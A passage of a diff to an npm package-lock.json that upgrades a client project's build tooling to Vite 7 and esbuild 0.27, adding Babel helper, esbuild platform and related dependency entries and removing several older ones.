"ISC", - "bin": { - "semver": "bin/semver.js" - } - }, "client/node_modules/@babel/helper-define-polyfill-provider": { "version": "0.6.3", "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.3.tgz", @@ -637,6 +695,38 @@ "node": ">=6.9.0" } }, + "client/node_modules/@babel/helper-module-imports": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz", + "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "client/node_modules/@babel/helper-module-transforms": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", + "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.28.6", + "@babel/helper-validator-identifier": "^7.28.5", + "@babel/traverse": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, "client/node_modules/@babel/helper-optimise-call-expression": { "version": "7.25.9", "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.25.9.tgz", @@ -715,6 +805,36 @@ "node": ">=6.9.0" } }, + "client/node_modules/@babel/helpers": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.6.tgz", + "integrity": "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/template": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "client/node_modules/@babel/parser": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.0.tgz", + "integrity": "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.0" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, "client/node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { "version": "7.25.9", "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.25.9.tgz", @@ -1388,38 +1508,6 @@ "@babel/core": "^7.0.0-0" } }, - "client/node_modules/@babel/plugin-transform-react-jsx-self": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.25.9.tgz", - "integrity": "sha512-y8quW6p0WHkEhmErnfe58r7x0A70uKphQm8Sp8cV7tjNQwK56sNVK0M73LK3WuYmsuyrftut4xAkjjgU0twaMg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-plugin-utils": "^7.25.9" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "client/node_modules/@babel/plugin-transform-react-jsx-source": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.25.9.tgz", - "integrity": "sha512-+iqjT8xmXhhYv4/uiYd8FNQsraMFZIfxVSqxxVSZP0WbbSAWvBXAul0m/zu+7Vv4O/3WtApy9pmaTMiumEZgfg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-plugin-utils": "^7.25.9" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, "client/node_modules/@babel/plugin-transform-regenerator": { "version": "7.25.9", "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.25.9.tgz", @@ -1685,14 +1773,52 @@ "@babel/core": "^7.0.0-0" } }, - "client/node_modules/@babel/preset-env/node_modules/semver": { - "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "client/node_modules/@babel/template": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz", + "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==", "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.28.6", + "@babel/parser": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "client/node_modules/@babel/traverse": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz", + "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.0", + "@babel/generator": "^7.29.0", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.29.0", + "@babel/template": "^7.28.6", + "@babel/types": "^7.29.0", + "debug": "^4.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "client/node_modules/@babel/types": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", + "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" } }, "client/node_modules/@codesandbox/sandpack-client": { @@ -1738,6 +1864,431 @@ "react-dom": "^16.8.0 || ^17 || ^18" } }, + "client/node_modules/@esbuild/aix-ppc64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.3.tgz", + "integrity": "sha512-9fJMTNFTWZMh5qwrBItuziu834eOCUcEqymSH7pY+zoMVEZg3gcPuBNxH1EvfVYe9h0x/Ptw8KBzv7qxb7l8dg==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/android-arm": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.3.tgz", + "integrity": "sha512-i5D1hPY7GIQmXlXhs2w8AWHhenb00+GxjxRncS2ZM7YNVGNfaMxgzSGuO8o8SJzRc/oZwU2bcScvVERk03QhzA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/android-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.3.tgz", + "integrity": "sha512-YdghPYUmj/FX2SYKJ0OZxf+iaKgMsKHVPF1MAq/P8WirnSpCStzKJFjOjzsW0QQ7oIAiccHdcqjbHmJxRb/dmg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/android-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.3.tgz", + "integrity": "sha512-IN/0BNTkHtk8lkOM8JWAYFg4ORxBkZQf9zXiEOfERX/CzxW3Vg1ewAhU7QSWQpVIzTW+b8Xy+lGzdYXV6UZObQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/darwin-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.3.tgz", + "integrity": "sha512-Re491k7ByTVRy0t3EKWajdLIr0gz2kKKfzafkth4Q8A5n1xTHrkqZgLLjFEHVD+AXdUGgQMq+Godfq45mGpCKg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/darwin-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.3.tgz", + "integrity": "sha512-vHk/hA7/1AckjGzRqi6wbo+jaShzRowYip6rt6q7VYEDX4LEy1pZfDpdxCBnGtl+A5zq8iXDcyuxwtv3hNtHFg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/freebsd-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.3.tgz", + "integrity": "sha512-ipTYM2fjt3kQAYOvo6vcxJx3nBYAzPjgTCk7QEgZG8AUO3ydUhvelmhrbOheMnGOlaSFUoHXB6un+A7q4ygY9w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/freebsd-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.3.tgz", + "integrity": "sha512-dDk0X87T7mI6U3K9VjWtHOXqwAMJBNN2r7bejDsc+j03SEjtD9HrOl8gVFByeM0aJksoUuUVU9TBaZa2rgj0oA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/linux-arm": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.3.tgz", + "integrity": "sha512-s6nPv2QkSupJwLYyfS+gwdirm0ukyTFNl3KTgZEAiJDd+iHZcbTPPcWCcRYH+WlNbwChgH2QkE9NSlNrMT8Gfw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/linux-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.3.tgz", + "integrity": "sha512-sZOuFz/xWnZ4KH3YfFrKCf1WyPZHakVzTiqji3WDc0BCl2kBwiJLCXpzLzUBLgmp4veFZdvN5ChW4Eq/8Fc2Fg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/linux-ia32": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.3.tgz", + "integrity": "sha512-yGlQYjdxtLdh0a3jHjuwOrxQjOZYD/C9PfdbgJJF3TIZWnm/tMd/RcNiLngiu4iwcBAOezdnSLAwQDPqTmtTYg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/linux-loong64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.3.tgz", + "integrity": "sha512-WO60Sn8ly3gtzhyjATDgieJNet/KqsDlX5nRC5Y3oTFcS1l0KWba+SEa9Ja1GfDqSF1z6hif/SkpQJbL63cgOA==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/linux-mips64el": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.3.tgz", + "integrity": "sha512-APsymYA6sGcZ4pD6k+UxbDjOFSvPWyZhjaiPyl/f79xKxwTnrn5QUnXR5prvetuaSMsb4jgeHewIDCIWljrSxw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/linux-ppc64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.3.tgz", + "integrity": "sha512-eizBnTeBefojtDb9nSh4vvVQ3V9Qf9Df01PfawPcRzJH4gFSgrObw+LveUyDoKU3kxi5+9RJTCWlj4FjYXVPEA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/linux-riscv64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.3.tgz", + "integrity": "sha512-3Emwh0r5wmfm3ssTWRQSyVhbOHvqegUDRd0WhmXKX2mkHJe1SFCMJhagUleMq+Uci34wLSipf8Lagt4LlpRFWQ==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/linux-s390x": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.3.tgz", + "integrity": "sha512-pBHUx9LzXWBc7MFIEEL0yD/ZVtNgLytvx60gES28GcWMqil8ElCYR4kvbV2BDqsHOvVDRrOxGySBM9Fcv744hw==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/linux-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.3.tgz", + "integrity": "sha512-Czi8yzXUWIQYAtL/2y6vogER8pvcsOsk5cpwL4Gk5nJqH5UZiVByIY8Eorm5R13gq+DQKYg0+JyQoytLQas4dA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/netbsd-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.3.tgz", + "integrity": "sha512-sDpk0RgmTCR/5HguIZa9n9u+HVKf40fbEUt+iTzSnCaGvY9kFP0YKBWZtJaraonFnqef5SlJ8/TiPAxzyS+UoA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/netbsd-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.3.tgz", + "integrity": "sha512-P14lFKJl/DdaE00LItAukUdZO5iqNH7+PjoBm+fLQjtxfcfFE20Xf5CrLsmZdq5LFFZzb5JMZ9grUwvtVYzjiA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/openbsd-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.3.tgz", + "integrity": "sha512-AIcMP77AvirGbRl/UZFTq5hjXK+2wC7qFRGoHSDrZ5v5b8DK/GYpXW3CPRL53NkvDqb9D+alBiC/dV0Fb7eJcw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/openbsd-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.3.tgz", + "integrity": "sha512-DnW2sRrBzA+YnE70LKqnM3P+z8vehfJWHXECbwBmH/CU51z6FiqTQTHFenPlHmo3a8UgpLyH3PT+87OViOh1AQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/sunos-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.3.tgz", + "integrity": "sha512-PanZ+nEz+eWoBJ8/f8HKxTTD172SKwdXebZ0ndd953gt1HRBbhMsaNqjTyYLGLPdoWHy4zLU7bDVJztF5f3BHA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/win32-arm64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.3.tgz", + "integrity": "sha512-B2t59lWWYrbRDw/tjiWOuzSsFh1Y/E95ofKz7rIVYSQkUYBjfSgf6oeYPNWHToFRr2zx52JKApIcAS/D5TUBnA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/win32-ia32": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.3.tgz", + "integrity": "sha512-QLKSFeXNS8+tHW7tZpMtjlNb7HKau0QDpwm49u0vUp9y1WOF+PEzkU84y9GqYaAVW8aH8f3GcBck26jh54cX4Q==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "client/node_modules/@esbuild/win32-x64": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.3.tgz", + "integrity": "sha512-4uJGhsxuptu3OcpVAzli+/gWusVGwZZHTlS63hh++ehExkVT8SgiEf7/uC/PclrPPkLhZqGgCTjd0VWLo6xMqA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, "client/node_modules/@react-spring/web": { "version": "9.7.5", "resolved": "https://registry.npmjs.org/@react-spring/web/-/web-9.7.5.tgz", @@ -1765,62 +2316,35 @@ "pretty-format": "^29.0.0" } }, - "client/node_modules/@vitejs/plugin-react": { - "version": "4.3.4", - "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.3.4.tgz", - "integrity": "sha512-SCCPBJtYLdE8PX/7ZQAs1QAZ8Jqwih+0VBLum1EGqmCCQal+MIUqLCzj3ZUy8ufbC0cAM4LRlSTm7IQJwWT4ug==", + "client/node_modules/@types/node": { + "version": "20.19.35", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.35.tgz", + "integrity": "sha512-Uarfe6J91b9HAUXxjvSOdiO2UPOKLm07Q1oh0JHxoZ1y8HoqxDAu3gVrsrOHeiio0kSsoVBt4wFrKOm0dKxVPQ==", "dev": true, "license": "MIT", "dependencies": { - "@babel/core": "^7.26.0", - "@babel/plugin-transform-react-jsx-self": "^7.25.9", - "@babel/plugin-transform-react-jsx-source": "^7.25.9", - "@types/babel__core": "^7.20.5", - "react-refresh": "^0.14.2" - }, - "engines": { - "node": "^14.18.0 || >=16.0.0" - }, - "peerDependencies": { - "vite": "^4.2.0 || ^5.0.0 || ^6.0.0" + "undici-types": "~6.21.0" } }, - "client/node_modules/autoprefixer": { - "version": "10.4.20", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.20.tgz", - "integrity": "sha512-XY25y5xSv/wEoqzDyXXME4AFfkZI0P23z6Fs3YgymDnKJkCGOnkL0iTxCa85UTqaSgfcqyf3UA6+c7wUvx/16g==", + "client/node_modules/@vitejs/plugin-react": { + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.1.4.tgz", + "integrity": "sha512-VIcFLdRi/VYRU8OL/puL7QXMYafHmqOnwTZY50U1JPlCNj30PxCMx65c494b1K9be9hX83KVt0+gTEwTWLqToA==", "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/autoprefixer" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], "license": "MIT", "dependencies": { - "browserslist": "^4.23.3", - "caniuse-lite": "^1.0.30001646", - "fraction.js": "^4.3.7", - "normalize-range": "^0.1.2", - "picocolors": "^1.0.1", - "postcss-value-parser": "^4.2.0" - }, - "bin": { - "autoprefixer": "bin/autoprefixer" + "@babel/core": "^7.29.0", + "@babel/plugin-transform-react-jsx-self": "^7.27.1", + "@babel/plugin-transform-react-jsx-source": "^7.27.1", + "@rolldown/pluginutils": "1.0.0-rc.3", + "@types/babel__core": "^7.20.5", + "react-refresh": "^0.18.0" }, "engines": { - "node": "^10 || ^12 || >=14" + "node": "^20.19.0 || >=22.12.0" }, "peerDependencies": { - "postcss": "^8.1.0" + "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" } }, "client/node_modules/babel-plugin-polyfill-corejs2": { @@ -1838,16 +2362,6 @@ "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, - "client/node_modules/babel-plugin-polyfill-corejs2/node_modules/semver": { - "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - } - }, "client/node_modules/babel-plugin-polyfill-corejs3": { "version": "0.11.1", "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.11.1.tgz", @@ -1936,6 +2450,66 @@ "url": "https://opencollective.com/core-js" } }, + "client/node_modules/esbuild": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.3.tgz", + "integrity": "sha512-8VwMnyGCONIs6cWue2IdpHxHnAjzxnw2Zr7MkVxB2vjmQ2ivqGFb4LEG3SMnv0Gb2F/G/2yA8zUaiL1gywDCCg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.27.3", + "@esbuild/android-arm": "0.27.3", + "@esbuild/android-arm64": "0.27.3", + "@esbuild/android-x64": "0.27.3", + "@esbuild/darwin-arm64": "0.27.3", + "@esbuild/darwin-x64": "0.27.3", + "@esbuild/freebsd-arm64": "0.27.3", + "@esbuild/freebsd-x64": "0.27.3", + "@esbuild/linux-arm": "0.27.3", + "@esbuild/linux-arm64": "0.27.3", + "@esbuild/linux-ia32": "0.27.3", + "@esbuild/linux-loong64": "0.27.3", + "@esbuild/linux-mips64el": "0.27.3", + "@esbuild/linux-ppc64": "0.27.3", + "@esbuild/linux-riscv64": "0.27.3", + "@esbuild/linux-s390x": "0.27.3", + "@esbuild/linux-x64": "0.27.3", + "@esbuild/netbsd-arm64": "0.27.3", + "@esbuild/netbsd-x64": "0.27.3", + "@esbuild/openbsd-arm64": "0.27.3", + "@esbuild/openbsd-x64": "0.27.3", + "@esbuild/openharmony-arm64": "0.27.3", + "@esbuild/sunos-x64": "0.27.3", + "@esbuild/win32-arm64": "0.27.3", + "@esbuild/win32-ia32": "0.27.3", + "@esbuild/win32-x64": "0.27.3" + } + }, + "client/node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, "client/node_modules/framer-motion": { "version": "11.18.2", "resolved": "https://registry.npmjs.org/framer-motion/-/framer-motion-11.18.2.tgz", @@ -1982,21 +2556,41 @@ "react": "^16.5.1 || ^17.0.0 || ^18.0.0" } }, + "client/node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, "client/node_modules/react-is": { "version": "17.0.2", "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==" }, - "client/node_modules/react-refresh": { - "version": "0.14.2", - "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.14.2.tgz", - "integrity": "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA==", + "client/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" + "license": "ISC", + "bin": { + "semver": "bin/semver.js" } }, + "client/node_modules/undici-types": { + "version": "6.21.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", + "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", + "dev": true, + "license": "MIT" + }, "client/node_modules/update-browserslist-db": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.2.tgz", @@ -2028,18 +2622,110 @@ "browserslist": ">= 4.21.0" } }, + "client/node_modules/vite": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.1.tgz", + "integrity": "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.27.0", + "fdir": "^6.5.0", + "picomatch": "^4.0.3", + "postcss": "^8.5.6", + "rollup": "^4.43.0", + "tinyglobby": "^0.2.15" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^20.19.0 || >=22.12.0", + "jiti": ">=1.21.0", + "less": "^4.0.0", + "lightningcss": "^1.21.0", + "sass": "^1.70.0", + "sass-embedded": "^1.70.0", + "stylus": ">=0.54.8", + "sugarss": "^5.0.0", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "client/node_modules/vite-plugin-node-polyfills": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/vite-plugin-node-polyfills/-/vite-plugin-node-polyfills-0.25.0.tgz", + "integrity": "sha512-rHZ324W3LhfGPxWwQb2N048TThB6nVvnipsqBUJEzh3R9xeK9KI3si+GMQxCuAcpPJBVf0LpDtJ+beYzB3/chg==", + "dev": true, + 